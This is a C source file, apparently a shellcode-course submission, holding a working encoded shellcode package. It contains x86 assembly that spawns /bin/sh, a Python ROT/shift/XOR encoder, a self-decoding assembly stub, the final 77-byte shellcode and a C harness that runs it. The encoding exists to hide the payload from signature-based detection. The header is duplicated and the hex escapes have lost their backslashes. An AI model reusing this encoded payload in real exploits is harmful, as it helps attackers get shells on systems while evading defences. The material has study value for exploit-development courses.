/*

#################################### Description ####################################

; Title : [ROT-N + Shift-N + XOR-N] encoded /bin/sh - Shellcode
; A /*

#################################### Description ####################################

; Title : [ROT-N + Shift-N + XOR-N] encoded /bin/sh - Shellcode
; Author : Hashim Jawad
; Blog Post : https://ihack4falafel.com/2018/01/rot-n-shift-n-xor-n-shellcode-encoder-linux-x86/
; Twitter : @ihack4falafel
; SLAE ID : SLAE-1115
; Purpose : spawn /bin/sh shell
; Tested On : Ubuntu 12.04.5 LTS
; Arch : x86
; Size : 77 bytes

##################################### sh.nasm ######################################

global _start

section .text

_start:
;
; execve() code block
;
xor eax,eax ; initiliaze EAX
push eax ; push null terminator
push 0x68732f2f ; push /bin//sh
push 0x6e69622f
xchg ebx,esp ; save stack pointer to EBX
mov al,0xb ; __NR_execve 11
int 0x80 ; ping kernel!

############################# Original Shellcode ####################################

ihack4falafel@ubuntu:~$ nasm -f elf32 -o sh.o sh.nasm
ihack4falafel@ubuntu:~$ ld -z execstack -o sh sh.o
ihack4falafel@ubuntu:~$ objdump -d ./sh|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr ' ' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex87xdcxb0x0bxcdx80"

################################# Encoder.py #####################################

#!/usr/bin/python

import sys

# Colors
#---------------#---------#
W = '33[0m' # White #
P = '33[35m' # Purple #
Y = '33[33m' # Yellow #
#---------------#---------#

# Check ROT, SHL, and XOR input, otherwise print usage, example, and important notes!
if len(sys.argv) < 4:
print Y+ "Usage :" + P+ " python Encoder.py <ROT number> <number of bits to shift> <XOR number> " +W
print Y+ "Example :" + P+ " python Encoder.py 13 1 1337 " +W
print Y+ "Notes :" + P+ " 1) Make sure to update Decoder.nasm with input values. " +W
print " " + P+ " 2) Due to encoded_shellcode size (word) in Decoder.nasm, shift operatio" +W
print " " + P+ " n is limited to <1-8> bits. Feel free to upgrade size to DW to allow" +W
print " " + P+ " up to 16-bits shift operation. " +W
print " " + P+ " 3) Encoder.py currently include /bin/sh shellcode as proof of concept. " +W
print " " + P+ " Make sure to change it to your desired shellcode. " +W
sys.exit(0)

ROT = int(sys.argv[1])
nbits = int(sys.argv[2])
XOR = int(sys.argv[3])

# initial values
shellcode = ("x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex87xdcxb0x0bxcdx80") # paste your shellcode here
XOR_HEX = hex(XOR) # Encoded shellcode terminator
encoded_shellcode = ""
original_shellcode = ""

# Orginal shellcode formatted
for x in bytearray(shellcode):
original_shellcode += '0x'
original_shellcode += '%02x, ' %x

# [ROT-N + SHL-N + XOR-N] encoded shellcode formatted
for y in bytearray(shellcode):
byte = (y + ROT)%256 #|-->ROT-N
byte = byte << nbits #########|-->SHL-N
byte = byte ^ XOR #################|-->XOR-N
encoded_shellcode += '0x'
encoded_shellcode += '%02x, ' %byte

# print original and encoded shellcode
print Y+ "Original Shellcode: " + P+ original_shellcode +W
print Y+ "Encoded Shellcode : " + P+ encoded_shellcode + Y+ XOR_HEX +W

#################################### Encoded Shellcode ##########################################

ihack4falafel@ubuntu:~$ python Encoder.py 13 1 1337
Original Shellcode: 0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x87, 0xdc, 0xb0, 0x0b, 0xcd, 0x80,
Encoded Shellcode : 0x545, 0x4a3, 0x583, 0x5d3, 0x541, 0x541, 0x439, 0x5d3, 0x5d3, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x411, 0x4eb, 0x443, 0x509, 0x48d, 0x423, 0x539
ihack4falafel@ubuntu:~$

#################################### Decoder.nasm ###############################################

global _start

section .text

_start:
;
; [ROT-N + SHL-N + XOR-N] encoded execve() code block
;
jmp short call_decoder ; jump to call_decoder to save encoded_shellcode pointer to ESI

decoder:

pop esi ; store encoded_shellcode pointer in ESI
push esi ; push encoded_shellcode pointer to stack for later execution
mov edi, esi ; move encoded_shellcode pointer to EDI

decode:
;
; note: 1) Make sure ROT, SHR, and XOR here match your encoder.py input.
; 2) Hence we're limited by the size of encoded_shellcode (word),
; SHR is limited to <1-8> bits. Feel free to upgrade size to DW
; to allow up to 16-bits shift if need be.
;
mov ax, [esi] ; move current word from encoded_shellcode to AX
xor ax, 0x539 ; XOR encoded_shellcode with 1337, one word at a time
jz decoded_shellcode ; if zero jump to decoded_shellcode
shr ax, 1 ; shift encoded_shellcode to right by one bit, one word at a time
sub ax, 13 ; substract 13 from encoded_shellcode, one word at a time
mov [edi], al ; move decoded byte to EDI
inc esi ; point to the next encoded_shellcode word
inc esi
inc edi ; point to the next decoded_shellcode byte
jmp short decode ; jump to decode and repeat the decoding process for the next word!

decoded_shellcode:
call [esp] ; execute decoded_shellcode

call_decoder:
call decoder
encoded_shellcode: dw 0x545, 0x4a3, 0x583, 0x5d3, 0x541, 0x541, 0x439, 0x5d3, 0x5d3, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x411, 0x4eb, 0x443, 0x509, 0x48d, 0x423, 0x539

######################################### Final Shellcode ###########################################

ihack4falafel@ubuntu:~# nasm -f elf32 -o Decoder.o Decoder.nasm
ihack4falafel@ubuntu:~# ld -z execstack -o Decoder Decoder.o
ihack4falafel@ubuntu:~# objdump -d ./Decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr ' ' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"xebx1ex5ex56x89xf7x66x8bx06x66x35x39x05x74x0ex66xd1xe8x66x83xe8x0dx88x07x46x46x47xebxe9xffx14x24xe8xddxffxffxffx45x05xa3x04x83x05xd3x05x41x05x41x05x39x04xd3x05xd3x05x41x05xe7x05xd5x05xcfx05x11x04xebx04x43x04x09x05x8dx04x23x04x39x05"
ihack4falafel@ubuntu:~# gcc -fno-stack-protector -z execstack sh.c -o sh
ihack4falafel@ubuntu:~$ ./sh
Shellcode Length: 77
$ whoami
ihack4falafel
$

*/

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"xebx1ex5ex56x89xf7x66x8bx06x66x35x39x05x74x0ex66xd1xe8x66x83xe8x0dx88x07x46x46x47xebxe9xffx14x24xe8xddxffxffxffx45x05xa3x04x83x05xd3x05x41x05x41x05x39x04xd3x05xd3x05x41x05xe7x05xd5x05xcfx05x11x04xebx04x43x04x09x05x8dx04x23x04x39x05";

void main()
{

printf("Shellcode Length: %d ", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}